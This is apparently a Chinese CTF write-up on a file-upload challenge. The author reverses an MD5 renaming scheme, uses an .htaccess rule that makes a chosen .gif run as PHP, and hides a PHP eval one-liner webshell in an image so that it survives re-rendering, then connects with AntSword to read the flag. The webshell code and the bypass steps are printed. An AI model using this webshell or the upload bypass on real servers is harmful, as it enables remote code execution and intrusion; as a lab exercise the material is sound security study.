时隔四天,终于把这道文件上传漏洞题做出来了。

本文详细介绍了如何通过分析文件上传和重命名机制,利用PHP的一句话木马绕过系统限制,最终成功访问到flag.php文件并获取FLAG。过程中涉及到.htaccess文件、文件名加密解密、图片马的制作以及应对二次渲染的解决策略。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

这里附上各种一句话木马大全

先看题:
在这里插入图片描述
说明了文件保存路径./upload。点击展示发现有.htaccess文件,还有一个flag.php文件
在这里插入图片描述
在文本框中输入.htaccess,点击预览,出现下面这句话。但输入flag.php
,会弹框说不能直接操作flag文件。看下面这句话我们可以知道:在./upload目录下,文件名为098f6bcd4621d373cade4e832627b4f6.gif的文件可以php代码解析出来。所以可以想到要上传一个图片马,而且文件名为098f6bcd4621d373cade4e832627b4f6.gif
在这里插入图片描述
但看下图,若我们随便上传一个图片,文件名都会被改变。这里我上传了2.gif文件
在这里插入图片描述
所以要思考怎样才能让上传后的文件名能为098f6bcd4621d373cade4e832627b4f6.gif。于是我想到看看直接输入下面这个url会怎样

http://120.79.135.77:10002/range/upload/flag.php

结果出现了这一幕,既然它出现了就一定是有问题的(然而我一开始发现的时候却并没有在意它),然后随便点开看了一下,就知道了是用MD5加密使文件名改变的。
在这里插入图片描述
然后将098f6bcd4621d373cade4e832627b4f6解密得是test。也就是说我们只要将文件名为test.gif的文件上传,就能被保存为098f6bcd4621d373cade4e832627b4f6.gif
在这里插入图片描述
然后我们开始制作图片马。在shell.php文件中写入下面这个一句话木马,然后在命令行输入copy 2.gif /b + shell.php /a test.gif2.gif是一个普通图片,得到的test.gif就是我们要的图片马了

<? @eval($_REQUEST[x]);?>

然后将test.gif上传,下载后的图片用010 Editor打开却发现php代码不见了,这时就想到是二次渲染,那就将原图和下载的图片比较,然后在相同部分插入一句话木马。
【就是做这一步花了我好久时间,我知道是二次渲染,试了好多次插入一句话木马,但保存后的图片的马还是不见了,直到今天,在最前面的蓝色部分(相同部分)插入马,终于成功—多尝试,细节细节细节!!】
在这里插入图片描述
在蚁剑中连接得到flag
在这里插入图片描述
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值